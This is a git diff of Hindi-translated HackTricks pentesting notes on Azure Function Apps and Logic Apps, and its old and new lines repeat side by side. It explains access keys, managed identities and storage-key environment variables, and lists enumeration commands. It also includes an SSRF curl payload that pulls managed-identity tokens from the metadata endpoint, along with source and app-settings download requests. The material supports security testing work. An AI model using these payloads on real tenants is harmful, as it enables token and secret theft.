- यह संभव है कि **इंटरनेट से फ़ंक्शन क पहुंच** प्रदान की जाए बिना किसी प्रमाणीकरण की आवश्यकता के या IAM आधारित पहुंच प्रदान की जाए। हालांकि, इस पहुंच को प्रतिबंधित करना भी संभव है।
- यह भी संभव है कि **एक आंतरिक नेटवर्क (VPC)** से फ़ंक्शन ऐप को **पहुंच प्रदान करें या प्रतिबंधित करें**
> [!CAUTION]
> यह हमलावरों के दृष्टिकोण से बहुत दिलचस्प है क्योंकि यह संभव है कि **एक कमजोर Function से इंटरनेट पर आंतरिक नेटवर्क में पिवट करना**।
> यह हमलावरों के दृष्टिकोण से बहुत दिलचस्प है क्योंकि यह संभव है कि **इंटरनेट पर उजागर एक कमजोर फ़ंक्शन से आंतरिक नेटवर्क पर पिवट किया जा सके**।
### **Function App Settings & Environment Variables**
यह एक ऐप के अंदर पर्यावरण चर को कॉन्फ़िगर करना संभव है, जिसमें संवेदनशील जानकारी हो सकती है। इसके अलावा, डिफ़ॉल्ट रूप से env चर **`AzureWebJobsStorage`** और **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (अन्य के बीच) बनाए जाते हैं। ये विशेष रूप से दिलचस्प हैं क्योंकि वे **ऐप्लिकेशन के डेटा को नियंत्रित करने के लिए स्टोरेज अकाउंट की कुंजी को पूर्ण अनुमतियों के साथ** शामिल करते हैं। इन सेटिंग्स की आवश्यकता भी होती है ताकि स्टोरेज अकाउंट से कोड निष्पादित किया जा सके
यह ऐप के अंदर पर्यावरण चर कॉन्फ़िगर करना संभव है, जिसमें संवेदनशील जानकारी हो सकती है। इसके अलावा, डिफ़ॉल्ट रूप से env चर **`AzureWebJobsStorage`** और **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (अन्य के बीच) बनाए जाते हैं। ये विशेष रूप से दिलचस्प हैं क्योंकि वे **ऐप्लिकेशन के डेटा को नियंत्रित करने के लिए स्टोरेज खाते की कुंजी** को पूर्ण अनुमतियों के साथ शामिल करते हैं। इन सेटिंग्स की आवश्यकता भी स्टोरेज खाते से कोड निष्पादित करने के लिए होती है
ये env चर या कॉन्फ़िगरेशन पैरामीटर यह भी नियंत्रित करते हैं कि Function कोड को कैसे निष्पादित करता है, उदाहरण के लिए यदि **`WEBSITE_RUN_FROM_PACKAGE`** मौजूद है, तो यह उस URL को इंगित करेगा जहां ऐप्लिकेशन का कोड स्थित है।
ये env चर या कॉन्फ़िगरेशन पैरामीटर यह भी नियंत्रित करते हैं कि फ़ंक्शन कोड को कैसे निष्पादित करता है, उदाहरण के लिए यदि **`WEBSITE_RUN_FROM_PACKAGE`** मौजूद है, तो यह उस URL को इंगित करेगा जहां ऐप्लिकेशन का कोड स्थित है।
### **Function Sandbox**
Linux सैंडबॉक्स के अंदर स्रोत कोड **`/home/site/wwwroot`** में **`function_app.py`** फ़ाइल में स्थित है (यदि Python का उपयोग किया गया है) कोड चलाने वाला उपयोगकर्ता **`app`** है (बिना sudo अनुमतियों के)।
लिनक्स सैंडबॉक्स के अंदर स्रोत कोड **`/home/site/wwwroot`** में फ़ाइल **`function_app.py`** (यदि पायथन का उपयोग किया गया है) में स्थित है, कोड चलाने वाला उपयोगकर्ता **`app`** है (बिना sudo अनुमतियों के)।
एक **Windows** फ़ंक्शन में NodeJS का उपयोग करते समय कोड **`C:\home\site\wwwroot\HttpTrigger1\index.js`** में स्थित था, उपयोगकर्ता नाम **`mawsFnPlaceholder8_f_v4_node_20_x86`** था और यह **groups** का हिस्सा था: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`
एक **Windows** फ़ंक्शन में जो NodeJS का उपयोग करता है, कोड **`C:\home\site\wwwroot\HttpTrigger1\index.js`** में स्थित था, उपयोगकर्ता नाम **`mawsFnPlaceholder8_f_v4_node_20_x86`** था और यह **समूहों** का हिस्सा था: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`
### **Managed Identities & Metadata**
जैसे कि [**VMs**](vms/index.html) में, Functions के पास **Managed Identities** के 2 प्रकार हो सकते हैं: System assigned और User assigned
जैसे कि [**VMs**](vms/index.html) में, फ़ंक्शंस के पास **Managed Identities** के 2 प्रकार हो सकते हैं: सिस्टम असाइन और यूजर असाइन
**system assigned** एक प्रबंधित पहचान होगी जिसे **केवल वही फ़ंक्शन** उपयोग कर सकेगा जिसे यह सौंपा गया है, जबकि **user assigned** प्रबंधित पहचानें हैं जिन्हें **कोई अन्य Azure सेवा उपयोग कर सकेगी**
**सिस्टम असाइन** वाला एक प्रबंधित पहचान होगी जिसे **केवल वही फ़ंक्शन** उपयोग कर सकेगा जिसे यह असाइन किया गया है, जबकि **यूजर असाइन** प्रबंधित पहचानें ऐसी प्रबंधित पहचान हैं जिन्हें **कोई अन्य Azure सेवा उपयोग कर सकेगी**
> [!NOTE]
> जैसे कि [**VMs**](vms/index.html) में, Functions के पास **1 system assigned** प्रबंधित पहचान और **कई user assigned** हो सकत हैं, इसलिए यदि आप फ़ंक्शन से समझौता करते हैं तो सभी को खोजने का प्रयास करना हमेशा महत्वपूर्ण होता है क्योंकि आप केवल एक Function से कई प्रबंधित पहचान को बढ़ा सकते हैं।
> जैसे कि [**VMs**](vms/index.html) में, फ़ंक्शंस के पास **1 सिस्टम असाइन** प्रबंधित पहचान और **कई यूजर असाइन** प्रबंधित पहचान हो सकत हैं, इसलिए यदि आप फ़ंक्शन से समझौता करते हैं तो सभी को खोजने का प्रयास करना हमेशा महत्वपूर्ण होता है क्योंकि आप केवल एक फ़ंक्शन से कई प्रबंधित पहचान को बढ़ा सकते हैं।
>
> यदि कोई system managed identity का उपयोग नहीं किया गया है लेकिन एक या अधिक user managed identities एक फ़ंक्शन से जुड़ी हुई हैं, तो डिफ़ॉल्ट रूप से आप कोई टोकन प्राप्त नहीं कर पाएंगे।
> यदि कोई सिस्टम प्रबंधित पहचान का उपयोग नहीं किया गया है लेकिन एक या अधिक यूजर प्रबंधित पहचानें फ़ंक्शन से जुड़ी हैं, तो डिफ़ॉल्ट रूप से आप कोई टोकन प्राप्त नहीं कर पाएंगे।
आप [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) का उपयोग करके मेटाडेटा एंडपॉइंट से डिफ़ॉल्ट प्रबंधित पहचान से टोकन प्राप्त कर सकते हैं। या आप उन्हें **मैन्युअल रूप से** प्राप्त कर सकते हैं जैसा कि समझाया गया है:
आप [**PEASS स्क्रिप्ट्स**](https://github.com/peass-ng/PEASS-ng) का उपयोग करके मेटाडेटा एंडपॉइंट से डिफ़ॉल्ट प्रबंधित पहचान से टोकन प्राप्त कर सकते हैं। या आप उन्हें **हाथ से** प्राप्त कर सकते हैं जैसा कि समझाया गया है:
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
ध्यान दें कि आपको यह पता लगाने की आवश्यकता है कि **एक फ़ंक्शन के पास जुड़ी सभी Managed Identities की जांच कैसे करें** क्योंकि यदि आप इसे निर्दिष्ट नहीं करते हैं, तो मेटाडेटा एंडपॉइंट **केवल डिफ़ॉल्ट एक का उपयोग करेगा** (अधिक जानकारी के लिए पिछले लिंक की जांच करें)।
ध्यान दें कि आपको यह पता लगाने की आवश्यकता है कि **एक फ़ंक्शन के पास जुड़ी सभी प्रबंधित पहचान** की जांच करने का एक तरीका है क्योंकि यदि आप इसे निर्दिष्ट नहीं करते हैं, तो मेटाडेटा एंडपॉइंट **केवल डिफ़ॉल्ट एक का उपयोग करेगा** (अधिक जानकारी के लिए पिछले लिंक की जांच करें)।
## Access Keys
> [!NOTE]
> ध्यान दें कि उपयोगकर्ताओं को फ़ंक्शंस को सक्रिय करने के लिए पहुंच देने के लिए कोई RBAC अनुमतियाँ नहीं हैं। **फ़ंक्शन सक्रियण उस ट्रिगर पर निर्भर करता है** जो इसे बनाया गया था और यदि एक HTTP ट्रिगर चुना गया था, तो इसे **access key** का उपयोग करने की आवश्यकता हो सकत है।
> ध्यान दें कि उपयोगकर्ताओं को फ़ंक्शंस को सक्रिय करने के लिए पहुंच देने के लिए कोई RBAC अनुमतियाँ नहीं हैं। **फ़ंक्शन सक्रियण उस ट्रिगर पर निर्भर करता है** जो इसे बनाया गया था और यदि एक HTTP ट्रिगर चुना गया था, तो फ़ंक्शन को सक्रिय करने के लिए एक **एक्सेस कुंजी** का उपयोग करन आवश्यक हो सकत है।
एक फ़ंक्शन के अंदर एक एंडपॉइंट बनाते समय **HTTP ट्रिगर** का उपयोग करते समय यह संभव है कि **access key authorization level** को इंगित करें जो फ़ंक्शन को सक्रिय करने के लिए आवश्यक है। तीन विकल्प उपलब्ध हैं:
एक फ़ंक्शन के अंदर एक एंडपॉइंट बनाते समय **HTTP ट्रिगर** का उपयोग करते हुए, यह संभव है कि फ़ंक्शन को सक्रिय करने के लिए आवश्यक **एक्सेस कुंजी प्राधिकरण स्तर** को निर्दिष्ट किया जाए। तीन विकल्प उपलब्ध हैं:
- **ANONYMOUS**: **हर कोई** URL के माध्यम से फ़ंक्शन तक पहुंच सकत है।
- **FUNCTION**: एंडपॉइंट केवल उन उपयोगकर्ताओं के लिए सुलभ है जो **function, host या master key** का उपयोग कर रहे हैं।
- **ADMIN**: एंडपॉइंट केवल उन उपयोगकर्ताओं के लिए सुलभ है जिनके पास **master key** है।
- **ANONYMOUS**: **सभी** फ़ंक्शन को URL द्वारा एक्सेस कर सकत है
- **FUNCTION**: एंडपॉइंट केवल उन उपयोगकर्ताओं के लिए सुलभ है जो **फंक्शन, होस्ट या मास्टर कुंजी** का उपयोग कर रहे हैं।
- **ADMIN**: एंडपॉइंट केवल उन उपयोगकर्ताओं के लिए सुलभ है जिनके पास **मास्टर कुंजी** है।
**कुंजी के प्रकार:**
- **Function Keys:** फ़ंक्शन कुंजी या तो डिफ़ॉल्ट या उपयोगकर्ता-परिभाषित हो सकती हैं और इन्हें विशेष रूप से **Function App के भीतर विशिष्ट फ़ंक्शन एंडपॉइंट्स** तक पहुंच प्रदान करने के लिए डिज़ाइन किया गया है जिससे एंडपॉइंट्स पर अधिक बारीक पहुंच मिलती है।
- **Host Keys:** होस्ट कुंजी, जो डिफ़ॉल्ट या उपयोगकर्ता-परिभाषित भी हो सकती हैं, **Function App के भीतर सभी फ़ंक्शन एंडपॉइंट्स तक FUNCTION पहुंच स्तर** के साथ पहुंच प्रदान करती हैं।
- **Master Key:** मास्टर कुंजी (`_master`) एक प्रशासनिक कुंजी के रूप में कार्य करती है जो सभी फ़ंक्शन एंडपॉइंट्स (ADMIN पहुंच स्तर सहित) तक पहुंच प्रदान करती है। यह **कुंजी रद्द नहीं की जा सकती।**
- **Function Keys:** फ़ंक्शन कुंजी या तो डिफ़ॉल्ट या उपयोगकर्ता-परिभाषित हो सकती हैं और इन्हें विशेष रूप से **फ़ंक्शन ऐप के भीतर विशिष्ट फ़ंक्शन एंडपॉइंट्स** तक पहुंच प्रदान करने के लिए डिज़ाइन किया गया है जिससे एंडपॉइंट्स पर अधिक बारीक पहुंच मिलती है।
- **Host Keys:** होस्ट कुंजी, जो डिफ़ॉल्ट या उपयोगकर्ता-परिभाषित भी हो सकती हैं, **FUNCTION एक्सेस स्तर** के साथ फ़ंक्शन ऐप के भीतर सभी फ़ंक्शन एंडपॉइंट्स तक पहुंच प्रदान करती हैं।
- **Master Key:** मास्टर कुंजी (`_master`) एक प्रशासनिक कुंजी के रूप में कार्य करती है जो सभी फ़ंक्शन एंडपॉइंट्स (ADMIN एक्सेस स्तर सहित) तक पहुंच प्रदान करती है। यह **कुंजी रद्द नहीं की जा सकती।**
- **System Keys:** सिस्टम कुंजी **विशिष्ट एक्सटेंशन द्वारा प्रबंधित** होती हैं और आंतरिक घटकों द्वारा उपयोग किए जाने वाले वेबहुक एंडपॉइंट्स तक पहुंच के लिए आवश्यक होती हैं। उदाहरणों में इवेंट ग्रिड ट्रिगर और ड्यूरेबल फ़ंक्शंस शामिल हैं, जो अपने संबंधित APIs के साथ सुरक्षित रूप से बातचीत करने के लिए सिस्टम कुंजी का उपयोग करते हैं।
> [!TIP]
@@ -96,7 +96,7 @@ Linux सैंडबॉक्स के अंदर स्रोत कोड
### Basic Authentication
जैसे कि App Services में, Functions भी **SCM** और **FTP** से कनेक्ट करने के लिए बुनियादी प्रमाणीकरण का समर्थन करते हैं ताकि कोड को **Azure द्वारा प्रदान किए गए URL में उपयोगकर्ता नाम और पासवर्ड** का उपयोग करके तैनात किया जा सके। इसके बारे में अधिक जानकारी:
जैसे कि ऐप सेवाओं में, फ़ंक्शंस भी **SCM** और **FTP** से कनेक्ट करने के लिए बुनियादी प्रमाणीकरण का समर्थन करते हैं ताकि कोड को **Azure द्वारा प्रदान किए गए URL में उपयोगकर्ता नाम और पासवर्ड** का उपयोग करके तैनात किया जा सके। इसके बारे में अधिक जानकारी:
{{#ref}}
az-app-services.md
@@ -104,7 +104,7 @@ az-app-services.md
### Github Based Deployments
जब एक फ़ंक्शन एक Github रिपॉजिटरी से उत्पन्न होता है, तो Azure वेब कंसोल **एक विशिष्ट रिपॉजिटरी में स्वचालित रूप से एक Github वर्कफ़्लो बनाने** की अनुमति देता है ताकि जब भी इस रिपॉजिटरी को अपडेट किया जाए, फ़ंक्शन का कोड अपडेट हो जाए। वास्तव में, एक Python फ़ंक्शन के लिए Github Action yaml इस तरह दिखता है:
जब एक फ़ंक्शन एक Github रिपॉजिटरी से उत्पन्न होता है, तो Azure वेब कंसोल **विशिष्ट रिपॉजिटरी में एक Github वर्कफ़्लो स्वचालित रूप से बनाने** की अनुमति देता है ताकि जब भी इस रिपॉजिटरी को अपडेट किया जाए, फ़ंक्शन का कोड अपडेट हो जाए। वास्तव में, एक पायथन फ़ंक्शन के लिए Github Action yaml इस तरह दिखता है:
<details>
@@ -204,6 +204,10 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
इसके अलावा, **कोई स्रोत कोड स्टोरेज** खाते में संग्रहीत नहीं किया जाएगा जो फ़ंक्शन से संबंधित है क्योंकि इसकी आवश्यकता नहीं है।
## Enumeration
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# List all the functions
az functionapp list
@@ -249,6 +253,30 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
# Get source code
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.Functions
# Lists all Function Apps in the current subscription or in a specific resource group.
Get-AzFunctionApp -ResourceGroupName <String>
# Displays the regions where Azure Function Apps are available for deployment.
Get-AzFunctionAppAvailableLocation
# Retrieves details about Azure Function App plans in a subscription or resource group.
Get-AzFunctionAppPlan -ResourceGroupName <String> -Name <String>
# Retrieves the app settings for a specific Azure Function App.
Get-AzFunctionAppSetting -Name <FunctionAppName> -ResourceGroupName <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{% endtabs %}
## विशेषाधिकार वृद्धि
{{#ref}}

View File

@@ -10,8 +10,8 @@ Logic Apps एक दृश्य डिज़ाइनर प्रदान
### Examples
- **डेटा पाइपलाइनों क स्वचाल**: Logic Apps **डेटा ट्रांसफर और रूपांतरण प्रक्रियाओं** को Azure Data Factory के साथ मिलाकर स्वचालित कर सकता है। यह विभिन्न डेटा स्टोर्स, जैसे Azure SQL Database और Azure Blob Storage के बीच डेटा को स्थानांतरित और रूपांतरित करने के लिए स्केलेबल और विश्वसनीय डेटा पाइपलाइनों को बनाने में सहायक है, जो एनालिटिक्स और व्यवसाय बुद्धिमत्ता संचालन में मदद करता है।
- **Azure Functions के साथ एकीकरण**: Logic Apps Azure Functions के साथ मिलकर **जटिल, इवेंट-चालित अनुप्रयोगों को विकसित कर सकता है जो आवश्यकतानुसार स्केल करते हैं** और अन्य Azure सेवाओं के साथ सहजता से एकीकृत होते हैं। एक उदाहरण उपयोग मामला यह है कि एक Logic App का उपयोग कुछ घटनाओं के जवाब में Azure Function को ट्रिगर करने के लिए किया जाता है, जैसे Azure Storage खाते में परिवर्तन, जो गतिशील डेटा प्रोसेसिंग की अनुमति देता है।
- **डेटा पाइपलाइनों क स्वचालित करना**: Logic Apps **डेटा ट्रांसफर और रूपांतरण प्रक्रियाओं** को Azure Data Factory के साथ मिलाकर स्वचालित कर सकता है। यह विभिन्न डेटा स्टोर्स, जैसे Azure SQL Database और Azure Blob Storage के बीच डेटा को स्थानांतरित और रूपांतरित करने के लिए स्केलेबल और विश्वसनीय डेटा पाइपलाइनों को बनाने में सहायक है, जो विश्लेषण और व्यवसायिक बुद्धिमत्ता संचालन में मदद करता है।
- **Azure Functions के साथ एकीकृत करना**: Logic Apps Azure Functions के साथ मिलकर **जटिल, इवेंट-चालित अनुप्रयोगों को विकसित करने** के लिए काम कर सकता है जो आवश्यकतानुसार स्केल करते हैं और अन्य Azure सेवाओं के साथ सहजता से एकीकृत होते हैं। एक उदाहरण उपयोग मामला यह है कि एक Logic App का उपयोग कुछ घटनाओं के जवाब में Azure Function को ट्रिगर करने के लिए किया जाता है, जैसे Azure Storage खाते में परिवर्तन, जो गतिशील डेटा प्रोसेसिंग की अनुमति देता है।
### Visualize a LogicAPP
@@ -30,34 +30,260 @@ Logic Apps एक दृश्य डिज़ाइनर प्रदान
# The URL belongs to a Logic App vulenrable to SSRF
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
```
### Enumeration
### होस्टिंग विकल्प
{{#tabs }}
{{#tab name="az cli" }}
कई होस्टिंग विकल्प हैं:
* **उपभोग**
- **मल्टी-टेनेंट**: साझा कंप्यूट संसाधन प्रदान करता है, सार्वजनिक क्लाउड में कार्य करता है, और प्रति ऑपरेशन मूल्य निर्धारण मॉडल का पालन करता है। यह हल्के और लागत-कुशल कार्यभार के लिए आदर्श है।
* **मानक**
- **वर्कफ़्लो सेवा योजना**: नेटवर्किंग के लिए VNET एकीकरण के साथ समर्पित कंप्यूट संसाधन और प्रति वर्कफ़्लो सेवा योजना उदाहरण के लिए शुल्क। यह अधिक मांग वाले कार्यभार के लिए उपयुक्त है जो अधिक नियंत्रण की आवश्यकता होती है।
- **ऐप सेवा वातावरण V3** समर्पित कंप्यूट संसाधन पूर्ण अलगाव और स्केलेबिलिटी के साथ। यह नेटवर्किंग के लिए VNET के साथ भी एकीकृत होता है और वातावरण के भीतर ऐप सेवा उदाहरणों के आधार पर मूल्य निर्धारण मॉडल का उपयोग करता है। यह उच्च अलगाव की आवश्यकता वाले उद्यम-स्तरीय अनुप्रयोगों के लिए आदर्श है।
- **हाइब्रिड** स्थानीय प्रसंस्करण और मल्टी-क्लाउड समर्थन के लिए डिज़ाइन किया गया। यह स्थानीय नेटवर्क पहुंच के साथ ग्राहक-प्रबंधित कंप्यूट संसाधनों की अनुमति देता है और Kubernetes इवेंट-ड्रिवेन ऑटोस्केलिंग (KEDA) का उपयोग करता है।
### गणना
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# List
az logic workflow list --resource-group <ResourceGroupName> --subscription <SubscriptionID> --output table
az logic workflow list --resource-group <ResourceGroupName>
# Get info
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
# Get Logic App config
az logic workflow definition show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
# Get service ppal used
az logic workflow identity show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
```
{{#endtab }}
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>
{{#tab name="Az PowerSHell" }}
# Get details of a specific Logic App workflow, including its connections and parameters
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
--headers "Content-Type=application/json"
# Get details about triggers for a specific Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"
# Get the callback URL for a specific trigger in a Logic App
az rest --method POST \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"
# Get the history of a specific trigger in a Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"
# List all runs of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get all actions within a specific run of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# List all versions of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get details of a specific version of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
--headers "Content-Type=application/json"
az rest \
--method GET \
--uri "https://examplelogicapp1994.scm.azurewebsites.net/api/functions/admin/download?includeCsproj=true&includeAppSettings=true" \
--headers "Content-Type=application/json"
# List all Logic Apps in the specified resource group
az logicapp list --resource-group <ResourceGroupName>
# Show detailed information about a specific Logic App
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>
# List all application settings for a specific Logic App
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```bash
Get-Command -Module Az.LogicApp
# List
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
# Get info
Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>
# Get Logic App config
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Definition | ConvertTo-Json
# Get service ppal used
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Identity
```
{{#endtab }}
{{#endtabs }}
{{#include ../../../banners/hacktricks-training.md}}
# Get details of a specific Logic App workflow run action
Get-AzLogicAppRunAction -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -RunName "<RunName>"
# Get the run history for a specific Logic App
Get-AzLogicAppRunHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"
# Get details about triggers for a specific Logic App
Get-AzLogicAppTrigger -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"
# Get the callback URL for a specific trigger in a Logic App
Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "<ResourceGroupName>" -LName "<LogicAppName>" -TriggerName "<TriggerName>"
# Get the history of a specific trigger in a Logic App
Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -TriggerName "<TriggerName>"
```
{% endcode %}
{% endtab %}
{% endtabs %}
### Integration Accounts
**Integration Accounts**, Azure Logic Apps की एक विशेषता हैं। Integration Accounts का उपयोग उन्नत B2B क्षमताओं को सक्षम करके उद्यम-स्तरीय एकीकरण को सुविधाजनक बनाने के लिए किया जाता है, जैसे EDI, AS2, और XML स्कीमा प्रबंधन। Integration Accounts Azure में एक कंटेनर हैं जो Logic Apps के लिए उपयोग किए जाने वाले निम्नलिखित कलाकृतियों को संग्रहीत करते हैं:
* Schemas: अपने एकीकरण खाते में संदेशों को मान्य और संसाधित करने के लिए XML स्कीमा प्रबंधित करें।
* Maps: अपने एकीकरण कार्यप्रवाह के भीतर डेटा प्रारूपों को परिवर्तित करने के लिए XSLT-आधारित रूपांतरण कॉन्फ़िगर करें।
* Assemblies: लॉजिक और डेटा प्रसंस्करण को सरल बनाने के लिए एकीकरण खाता असेंबली प्रबंधित करें।
* Certificates: संदेशों को एन्क्रिप्ट और साइन करने के लिए प्रमाणपत्रों को संभालें, सुरक्षित संचार सुनिश्चित करें।
* Partners: B2B लेनदेन के लिए व्यापार भागीदार की जानकारी प्रबंधित करें, निर्बाध एकीकरण सक्षम करें।
* Agreements: व्यापार भागीदारों के साथ डेटा का आदान-प्रदान करने के लिए नियम और सेटिंग्स कॉन्फ़िगर करें (जैसे, EDI, AS2)।
* Batch Configurations: संदेशों को कुशलतापूर्वक समूहित और संसाधित करने के लिए बैच प्रसंस्करण कॉन्फ़िगरेशन प्रबंधित करें।
* RosettaNet PIP: B2B संचार को मानकीकरण के लिए RosettaNet Partner Interface Processes (PIPs) कॉन्फ़िगर करें।
#### Enumeration
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# Integration account
az logic integration-account list --resource-group <resource-group-name>
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>
# Batch-configuration
az logic integration-account batch-configuration list \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name>
az logic integration-account batch-configuration show \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name> \
--batch-configuration-name <batch-configuration-name>
# Map
az logic integration-account map list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account map show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--map-name <map-name>
# Partner
az logic integration-account partner list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account partner show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <partner-name>
# Session
az logic integration-account session list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account session show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <session-name>
# Assembly
# Session
az logic integration-account assembly list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account assembly show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--assembly-artifact-name <assembly-name>
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.LogicApp
# Retrieve details of an integration account
Get-AzIntegrationAccount -ResourceGroupName <resource-group-name> -Name <integration-account-name>
# Retrieve the callback URL of an integration account
Get-AzIntegrationAccountCallbackUrl -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name>
# Retrieve details of a specific agreement in an integration account
Get-AzIntegrationAccountAgreement -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <agreement-name>
# Retrieve details of a specific assembly in an integration account
Get-AzIntegrationAccountAssembly -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <assembly-name>
# Retrieve details of a specific batch configuration in an integration account
Get-AzIntegrationAccountBatchConfiguration -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <batch-configuration-name>
# Retrieve details of a specific certificate in an integration account
Get-AzIntegrationAccountCertificate -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <certificate-name>
# Retrieve details of a specific map in an integration account
Get-AzIntegrationAccountMap -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <map-name>
# Retrieve details of a specific partner in an integration account
Get-AzIntegrationAccountPartner -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <partner-name>
# Retrieve details of a specific schema in an integration account
Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <schema-name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
## विशेषाधिकार वृद्धि
लॉजिक ऐप्स प्रिवेस्क के समान:
{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %}
[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md)
{% endcontent-ref %}
## पोस्ट एक्सप्लोइटेशन
{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %}
[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md)
{% endcontent-ref %}
{% hint style="success" %}
